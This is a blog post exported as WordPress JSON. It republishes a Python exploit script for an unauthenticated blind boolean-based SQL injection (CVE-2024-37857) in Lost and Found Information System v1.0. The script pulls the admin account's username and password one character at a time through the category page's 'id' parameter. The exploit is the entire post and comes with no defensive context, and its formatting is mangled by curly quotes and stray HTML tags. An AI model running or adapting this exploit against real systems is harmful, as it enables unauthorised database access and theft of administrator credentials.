# Exploit Title: Unauthenticated Blind Boolean-Based SQL Injection Exploit – Lost and Found Information System
# Exploit Author: Amit Roy (Rezur \/ AR0x7)
# Date: June 07, 2024
# Vendor Homepage: https:\/\/www.sourcecodester.com\/php\/16525\/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html
# Software Link: https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/php-lfis.zip
# Tested on: Kali Linux, Apache, Mysql
# Version: v1.0
# Exploit Description:
# Lost and Found Information System v1.0 suffers from an unauthenticated SQL Injection Vulnerability allowing remote attackers to dump the SQL database using a Blind SQL Injection attack.
# CVE : CVE-2024-37857<\/p>\n
import requests,string,sys,argparse<\/p>\n
r = requests.Session()
proxies = {‘http’: ‘http:\/\/127.0.0.1:8080’}<\/p>\n
admin_path = “\/php-lfis\/admin\/index.php”
createCategory_path = “\/php-lfis\/classes\/Master.php”<\/p>\n
def char_extract(rhost, payload):
params = {“page”: “categories\/view_category”, “id”: payload}
response = r.get(rhost+admin_path, params=params)
if “Category ID is not valid” not in response.text:
return True
else:
return False<\/p>\n
def sqli(rhost, column):
charset = string.printable
output_length = 200
output = “”
for i in range(output_length):
for char in charset:
# Extracts the credentials of user with id=1, admin by default
payload = “13371337′ or char(%s) = (select substring(%s,%s,1) from users where id=1)– -” % (ord(str(char)),str(column),str(i+1))
sys.stdout.write(f”\\r[*] Extracting: {output}\\r”)
if char_extract(rhost, payload):
output += char
break
elif char == ‘~’ and not char_extract(rhost, payload):
print(“[*] Extracting:”,output)
return output<\/p>\n
def argsetup():
about = ‘Unauthenticated Blind Boolean-Based SQL Injection Exploit – Lost and Found Information System (https:\/\/www.sourcecodester.com\/php\/16525\/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html)’
parser = argparse.ArgumentParser(description=about)
parser.add_argument(‘-t’, ‘–target’, help=’Target ip address or hostname. Example : “http:\/\/localhost”‘, required=True)
args = parser.parse_args()
return args<\/p>\n
def main():
args = argsetup()
rhost = args.target
print(sqli(rhost, ‘username’),’:’,sqli(rhost, ‘password’))<\/p>\n
if __name__ == “__main__”:
main()<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Unauthenticated Blind Boolean-Based SQL Injection Exploit – Lost and Found Information System # Exploit Author: Amit Roy (Rezur \/ AR0x7)# Date: June 07, 2024# Vendor Homepage: https:\/\/www.sourcecodester.com\/php\/16525\/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html# Software Link: https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/php-lfis.zip# Tested on: Kali Linux, Apache, Mysql# Version: v1.0# Exploit Description:# Lost and Found Information System v1.0 suffers from an unauthenticated SQL Injection …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57471","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57471","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57471"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57471\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57471"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57471"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57471"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}